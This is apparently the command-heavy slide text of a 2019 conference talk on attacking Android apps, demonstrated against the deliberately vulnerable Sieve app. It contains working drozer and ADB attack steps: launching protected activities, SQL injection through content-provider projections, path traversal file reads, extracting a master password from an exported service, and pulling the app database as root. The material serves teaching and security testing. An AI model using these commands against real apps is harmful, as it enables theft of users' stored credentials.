How easy is it to tear them apart and steal your data?
Offensive Security Conference #OFFSECBLR2019
It's deliberately vulnerable
$ unzip sieve.apk -d sieve_binary
$ adb tcpip 5555
$ adb connect 192.X.Y.Z:5555
$ adb devices
$ adb shell
zerolte:/ $ whoami
shell
zerolte:/ $ su
zerolte:/ # whoami
root
$ adb install sieve.apk
$ sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
$ adb install drozer-agent-2.3.4.apk
$ adb forward tcp:31415 tcp:31415
$ drozer console connect
$ adb logcat | grep com.mwr.example.sieve
dz> run app.activity.info -a com.mwr.example.sieve
dz> run app.activity.info -a com.mwr.example.sieve
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz> run app.provider.info -a com.mwr.example.sieve
run scanner.provider.finduris -a com.mwr.example.sieve
content://content_authority/table_name
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
$ adb shell
zerolte:/ $ su
zerolte:/ # cd /sdcard/Android/data/com.mwr.example.sieve/files
zerolte:/sdcard/Android/data/com.mwr.example.sieve/files # ls
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/sdcard/Android/data/com.mwr.example.sieve/files/"Backup (2019-07-03 11-41-44.124).xml"
dz> run app.service.info -a com.mwr.example.sieve
It returns the Master Password!
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN <ENTER_PIN_CODE> --bundle-as-obj
$ python3 adb-root.py pull -v /data/data/com.mwr.example.sieve/databases/database.db db1.db
$ sqlitebrowser
What Next??!
Sensitive Data in Local Storage
Insecure interaction with the Android OS
ALWAYS USE THIS.
NEVER!!!
Ask Why?
Twitter: @_riddhishree
Email: mirage@null.co.in